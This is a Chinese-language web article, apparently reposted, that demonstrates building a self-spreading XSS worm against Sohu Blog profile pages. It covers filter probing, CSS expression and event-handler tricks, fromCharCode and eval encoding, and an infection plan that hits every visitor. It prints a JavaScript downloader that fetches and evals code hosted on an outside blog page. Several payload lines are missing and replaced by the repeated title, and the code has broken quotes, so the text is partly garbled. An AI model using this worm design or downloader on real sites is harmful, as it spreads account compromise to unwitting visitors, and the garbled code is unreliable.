完整的XSS wrom网站入侵实例示范

番茄系统家园 · 2022-01-04 06:01:06

XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。

1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。

’’;:!--"={()} \/

结果

’’;:!--"={()} // (&后是amp,论坛过滤了)

过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。

2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。

expression

onerror

onload

3. 下面开始尝试构造语句。如下:

完整的XSS wrom网站入侵实例示范

完整的XSS wrom网站入侵实例示范

完整的XSS wrom网站入侵实例示范

构造完整标记,页面输出后又全部过滤。

4. "/"字符没有过滤因此可以构造/xxxx/注释符,expression属性可以配合注释符构造出语句:

5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。

6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:

7. 感染流程考虑:

㈠ BLOG页面的个人档案处是页面通用的

㈡ XSS内容写到个人档案处,所有浏览者都会触发XSS

㈢ 实现一段提交XSS内容到个人档案的代码.

8. 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader。

主要代码:

function d(){

a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件

a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求

a.send();

b=a.responseText; /*将传回值赋给变量B

eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));

/用indexOf计算 --|*|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.

}d()

http://s0n9.blog.sohu.com/31406970.html 页面代码:

alert('xss');

/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)

其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。

免责声明: 凡标注转载/编译字样内容并非本站原创,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好,欢迎推荐给朋友阅读;本文链接: https://m.nndssk.com/wlaq/184622ID5afA.html
猜你喜欢
最新应用
热门应用